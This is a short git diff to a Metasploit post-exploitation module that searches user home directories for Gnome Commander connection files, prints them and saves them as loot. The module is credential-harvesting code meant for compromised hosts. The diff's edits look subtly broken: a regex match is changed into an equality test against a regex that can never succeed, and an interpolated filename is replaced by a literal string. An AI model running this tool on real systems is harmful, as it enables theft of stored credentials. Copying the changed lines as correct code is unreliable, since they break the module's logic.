diff --git a/modules/post/linux/gather/gnome_commander_creds.rb b/modules/post/linux/gather/gnome_commander_creds.rb index 4d35fac127..1bf5687f6c 100644 --- a/modules/post/linux/gather/gnome_commander_creds.rb +++ b/modules/post/linux/gather/gnome_commander_creds.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post def run user_dirs = [] user = cmd_exec("whoami").chomp - if (user =~ /root/) + if (user == /root/) print_status("Current user is #{user}, probing all home dirs") user_dirs << '/root' cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp } @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post begin print_good("File found : #{connections_file}") print_line(read_file(connections_file)) - p = store_loot("connections", "text/plain", session, read_file(connections_file), "#{connections_file}", "Gnome-Commander connections") + p = store_loot("connections", "text/plain", session, read_file(connections_file), "connections_file", "Gnome-Commander connections") print_good ("Connections file saved to #{p}") print_line() rescue EOFError